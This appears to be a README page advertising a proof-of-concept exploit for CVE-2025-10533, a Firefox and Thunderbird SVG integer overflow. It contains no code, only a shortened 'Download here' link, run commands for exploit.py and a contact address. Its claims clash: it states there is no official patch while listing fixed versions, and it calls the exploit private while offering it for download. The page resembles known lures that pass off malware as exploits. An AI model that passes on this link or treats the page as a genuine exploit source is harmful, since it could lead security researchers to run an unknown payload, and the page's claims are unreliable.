CVE-2025-10533 PoC — Integer overflow in the SVG component

Source

Associated Vulnerability

Readme

# CVE-2025-10533-Exploit
# Overview 
An integer overflow or wraparound vulnerability affecting Mozilla Firefox and Thunderbird browser products. The vulnerability impacts multiple versions of Firefox and Firefox ESR, potentially allowing attackers to exploit system vulnerabilities through network-based attacks.
## Exploit:
### [Download here](https://tinyurl.com/2rb2fn4j)
## Details
+ **CVE ID**: CVE-2025-10533
+ **Published**: 09/16/2025
+ **Impact**: Critical
+ **Exploit Availability**: Not public, only private.
+ **CVSS**: 8.8
+ **Patch Available:  (No official patch yet)**
## Impact
Attackers with low-privilege network access could potentially: - Compromise system confidentiality by accessing sensitive information - Modify system integrity - Disrupt system availability The vulnerability has a high severity with a CVSS score of 8.8, indicating significant potential for system compromise without requiring user interaction.
## Usage 
  1. - Execute `exploit.py`:
     ```bash
     python exploit.py --config config.json
     ```
  2. - Use `--verbose` for detailed output:
     ```bash
     python exploit.py --config config.json --verbose
     ```
## Affected Versions
 Firefox < 143, Firefox ESR < 115.28, Firefox ESR < 140.3, Thunderbird < 143, and Thunderbird < 140.3.
 # Demo
- `demo.mp4`: A 5-minute video demonstrating the setup, configuration, and execution of the PoC.

 ## Contact
+ **For inquiries, please contact:f0kinn@outlook.com**

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